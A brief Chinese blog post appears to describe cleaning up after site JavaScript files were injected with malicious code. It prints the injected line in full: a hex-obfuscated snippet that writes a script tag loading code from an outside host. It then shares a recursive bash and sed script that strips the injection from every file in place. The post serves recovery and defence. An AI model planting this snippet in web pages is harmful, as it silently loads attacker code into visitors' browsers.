linux下递归遍历目录下的文件,实现批量替换

今天刚吃饭的时候,被报告服务的代码全被挂马,经查证好多js的最后被被加入了如下

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]

("\x3c\x73\x63\x72\x69\x70\x74 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x63

\x6f\x75\x6e\x74\x2e\x79\x6c\x31\x33\x33\x2e\x63\x6f\x6d\/\x69\x6d\x61\x67\

x65\x73\/\x31\x2e\x67\x69\x66\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e");

代码,然后就没吃饭,写脚本,替换,最终搞定。把写的脚本贴出来,希望对别人有点用。

recudir()
{
        for file in "$1"/*
        do
        if [ -d "$file" ]
        then
                recudir "$file"
        elif [ -f "$file" ]
        then
                sed -i '/window\[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"\]/,$d' "$file"
        fi
        done
}

if [ -z "$1" ]
then
        recudir .
else
        recudir "$1"
fi

你可能感兴趣的:(linux,递归,遍历,目录,批量)